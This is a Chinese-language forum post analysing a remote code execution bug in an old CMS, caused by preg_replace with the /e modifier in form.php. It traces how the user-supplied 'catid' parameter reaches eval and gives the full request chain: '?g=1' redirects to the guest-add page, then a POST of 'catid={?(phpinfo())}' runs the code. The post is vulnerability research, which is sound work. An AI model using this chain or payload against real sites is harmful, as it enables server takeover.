易德轩网教学培训视频直播平台

使用论坛账号

 找回密码
登录
 立即注册

QQ登录

只需一步,快速开始

扫一扫,极速登录

搜索
查看: 1279|回复: 0

某cms5-5代码执行分析

[复制链接]
发表于 2019-8-15 21:36:41 | 显示全部楼层 |阅读模式
源码分析

该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题,虽然该程序版本较老,但该问题在其他程序中仍时有存在

漏洞触发点在 lib/tool/form.php文件中,关键代码如下:

    function getform($name,$form,$field,$data){

    if(get('table')&&isset(setting::$var[get('table')][$name]))

                $form[$name]=setting::$var[get('table')][$name];

    if(get('form')&&isset(setting::$var[get('form')][$name]))

                $form[$name]=setting::$var[get('form')][$name];

    if(isset($form[$name]['default']))

                $form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

    if(!isset($data[$name])&&isset($form[$name]['default']))

                $data[$name]=@$form[$name]['default'];

    if(preg_match('/templat/',$name)&&empty($data[$name]))

                $data[$name]=@$form[$name]['default'];

    if(@$form[$name]['filetype']=='image'){

                $return=form::upload_image($name,front::post($name)?front::post($name):@$data[$name]);

    }

关键点在于这句

    if(isset($form[$name]['default']))

                $form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

当if条件成立时,就会引发代码执行问题

下面寻找触发getform函数的代码

w1.jpg

可以看到该函数存在六处调用,尝试跟进第一处

代码位于 cache/template/default/manage/#guestadd.php

    <?php echo form::getform('catid',$form,$field,$data);?>

该段直接调用了静态方法getform,但目前并不知道 catid是什么,尝试全局搜索

在/lib/table/archive.php中找到了catid 相关的函数

    function get_form(){

    return array(

    'catid'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(category::option(0,'tolast')),

    'default'=>get('catid'),

    'regex'=>'/\d+/',

    'filter'=>'is_numeric',

    ),

    'typeid'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(type::option(0,'tolast')),

    'default'=>get('typeid'),

    'regex'=>'/\d+/',

    'filter'=>'is_numeric',

    ),

    'toppost'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(array(0=>'不置顶',2=>'栏目置顶',3=>'全站置顶')),

    'default'=>0,

    'regex'=>'/\d+/',

    'filter'=>'is_numeric',

    ),

    'ishtml'=>array(

    'selecttype'=>'radio',

    'select'=>form::arraytoselect(array(0=>'继承',1=>'生成',2=>'不生成')),

    ),

    'checked'=>array(

    'selecttype'=>'radio',

    'select'=>form::arraytoselect(form::yesornotoarray('审核')),

    ),

    'image'=>array(

    'filetype'=>'image',

    ),

    'thumb'=>array(

    'filetype'=>'thumb',

    ),

    'displaypos'=>array(

    'selecttype'=>'checkbox',

    //'select'=>form::arraytoselect(array(1=>'首页推荐',2=>'首页焦点',3=>'首页头条',4=>'列表页推荐',5=>'内容页推荐')),

    ),

    'htmlrule'=>array(

    //'tips'=>" 默认:{?category::gethtmlrule(get('id'),'showhtmlrule')}",

    ),

    'template'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(front::$view->archive_tpl_list('archive/show')),

    //'tips'=>" 默认:{?category::gettemplate(get('id'),'showtemplate')}",

    ),

    'showform'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(get_my_tables_list()),

    'default'=>"0",

    ),

    'introduce_len'=>array(

    'default'=>config::get('archive_introducelen')

    ),

    'attr1'=>array(

    'selecttype'=>'checkbox',

    'select'=>form::arraytoselect($this->getattrs(1)),

    ),

    'grade'=>array(

    'selecttype'=>'radio',

    'select'=>form::arraytoselect(array(0,1,2,3,4,5)),

    ),

    'pics'=>array(

    'filetype'=>'image2',

    ),

    'author'=>array(

    'tips'=>' ',

    ),

    'attr3'=>array(

    'tips'=>' ',

    ),

    'htmlrule'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(getHtmlRule('archive')),

    'default'=>'',

    ),

    'tag_option'=>array(

    'selecttype'=>'select',

    'select'=>form::arraytoselect(tag::getTags()),

    ),

    );

    }

注意到这一句

    'default'=>get('catid'),

跟进get函数

    functionget($var){

    if(front::get($var))

    return front::get($var);

    elseif(front::post($var))

    return front::post($var);

    elseif(config::get($var))

    return config::get($var);

    elseif(session::get($var))

    return session::get($var);

    }

继续跟进

    staticfunctionget($var){

    if(isset(self::$get[$var]))

    returnself::$get[$var];

    else

    returnfalse;

    }

    staticfunction post($var){

    if(isset(self::$post[$var]))

    returnself::$post[$var];

    else

    returnfalse;

    }

最后跟进到front类中__construct()函数

    //关键语句

    self::$get=$_GET;

    self::$post=$_POST;

这就说明catid和defult的值都是我们可以控制的,这样我们就可以通过控制$form[$name(catid)] ['default']来达到执行任意代码的目的

此时我们需要寻找一个触发getform()函数的地方,并且再触发该函数后需要引用guestadd.php页面以此衔接我们的利用操作,全局搜索后定位在 /lib/default/manageact.php ,该文件在第29行对get_form()函数进行了调用

    $this->view->form=$this->_table->get_form();

同时在/lib/tool/front_class.php 文件的front类中存在这样的代码

    if(@$_GET['g']&&is_numeric(@$_GET['g'])){

    header('location: ?case=manage&act=guestadd&manage=archive&guest=1');

    }

该文件是网站入口文件index.php所引用的,所以我们访问如下url即可触发

    http://localhost/?g=1

接着会被重定向为这样:

    http://localhost/index.php?case=manage&act=guestadd&manage=archive&guest=1

这时只要post过去符合正则匹配的代码就可以了

    '/\{\?([^}]+)\}/e'

    //该段正则表达式即为匹配{?任意内容},当post如下语句时就会触发执行

    //catid={?(phpinfo())}

梳理一下利用过程:

    index.php->

    (/lib/tool/front_class.php)->

    (/lib/default/manage_act.php)[->get_form()]->

    (cache/template/default/manage/#guestadd.php)[->getform('catid'...)]->

    (lib/tool/form.php)[preg_reolace()]//RCE

后记

当我们传入{?(phpinfo())}时,函数会变成这样

    preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')","{?(phpinfo())}");

匹配成功后会执行eval('return $1;')

而(phpinfo())在正常情况下同样会执行

w2.jpg

执行成功会返回true这样前面的eval('return $1;')就相当于eval('return phpinfo();'),所以出现了代码执行
您需要登录后才可以回帖 登录 | 立即注册  

本版积分规则

回手机版|论坛帮助|易德轩网 ( 鲁ICP备20005112号-2 )|网站地图

GMT+8, 2024-11-22 01:37

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表